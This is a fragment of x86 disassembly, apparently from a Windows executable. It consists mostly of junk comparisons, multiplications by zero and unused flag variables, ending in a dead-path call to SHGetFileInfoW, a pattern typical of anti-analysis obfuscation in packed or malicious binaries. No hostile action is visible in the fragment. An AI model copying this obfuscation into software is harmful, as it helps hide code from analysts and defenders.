mov eax, dword [ebp + eax - 0xbc]
cmp eax, dword [ebp - 0xc30]
jg 0x4811cf
mov dword [ebp - 0xc38], 1
jmp 0x4811d6
and dword [ebp - 0xc38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp eax, dword [ebp - 0xc38]
jne 0x4811f7
mov dword [ebp - 0xc40], 1
jmp 0x4811fe
and dword [ebp - 0xc40], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
imul eax, dword [ebp - 0xc40]
imul eax, eax, 0xfbd3
test eax, eax
je 0x4813cc
mov dword [ebp - 0x48c], 0x6df7e441
mov dword [ebp - 0x74c], 0
jmp 0x481243
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 3
jge 0x48125f
mov eax, dword [ebp - 0x74c]
mov dword [ebp + eax*4 - 0x2db0], 0xf1bb1300
jmp 0x481236
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
mov dword [ebp - 0x2624], eax
cmp dword [ebp - 0x48c], 0
je 0x481394
cmp dword [ebp - 0x48c], 0x424
jle 0x481297
mov dword [ebp - 0xc48], 1
jmp 0x48129e
and dword [ebp - 0xc48], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp eax, dword [ebp - 0xc48]
jg 0x4812bf
mov dword [ebp - 0xc50], 1
jmp 0x4812c6
and dword [ebp - 0xc50], 0
cmp dword [ebp - 0xc50], 0xffffffff
jl 0x4812db
mov dword [ebp - 0xc58], 1
jmp 0x4812e2
and dword [ebp - 0xc58], 0
cmp dword [ebp - 0xc58], 0xffff
jb 0x4812fa
mov dword [ebp - 0xc60], 1
jmp 0x481301
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0x48c]
cmp dword [ebp - 0xc60], eax
jge 0x48131b
mov dword [ebp - 0xc68], 1
jmp 0x481322
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0xc68]
sub eax, 0x645a1f4e
cmp eax, dword [ebp - 0x48c]
jg 0x481341
mov dword [ebp - 0xc70], 1
jmp 0x481348
and dword [ebp - 0xc70], 0
mov eax, dword [ebp - 0xc70]
sub eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x48c]
jle 0x481368
mov dword [ebp - 0xc78], 1
jmp 0x48136f
and dword [ebp - 0xc78], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp dword [ebp - 0xc78], eax
jle 0x481394
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
jne 0x4813ad
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
jne 0x4813ad
and dword [ebp - 0xc80], 0
jmp 0x4813b7
mov dword [ebp - 0xc80], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc80]
mov dword [ebp + eax - 0x2db0], ecx
jmp 0x481404
mov byte [ebp - 0x2a3], 0
movzx eax, byte [ebp - 0x2a3]
test eax, eax
je 0x4813f7
push 0x1577
push 0x6d0
push 0
push 0x2177
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0xc88]
dec eax
mov dword [ebp - 0xc88], eax
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0046b01a
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret